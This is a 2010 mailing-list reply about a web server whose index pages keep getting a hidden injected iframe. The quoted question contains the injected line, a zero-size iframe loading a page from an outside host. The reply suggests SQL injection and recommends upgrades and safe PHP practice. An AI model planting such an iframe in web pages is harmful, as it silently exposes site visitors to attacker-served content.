Re: [LIH] Security and Intrusion Detection

On Sun, Mar 14, 2010 at 07:15:36PM +0530, H.S.Rai wrote:
>Most of the index.html and index.php files have at end:
>
><iframe src="http://odile-marco.com/lib/index.php" width=0 height=0
>style="hidden" frameborder=0 marginheight=0 marginwidth=0
>scrolling=no></iframe>
>
>On deleting this line, it comes again. This appears to be quite common
>problem. How to locate culprit software?

looks like an sql injection hole or something similar in your php - and
this stuff is being served out of your mysql.

upgrade php and mysql, make the mysql listen only on localhost, and then
read up on / talk to someone like tarique sani on safe coding practices in
php

------------------------------------------------------------------------------
Download Intel&#174; Parallel Studio Eval
Try the new software tools for yourself. Speed compiling, find bugs
proactively, and fine-tune applications for parallel performance.
See why Intel Parallel Studio got high marks during beta.
http://p.sf.net/sfu/intel-sw-dev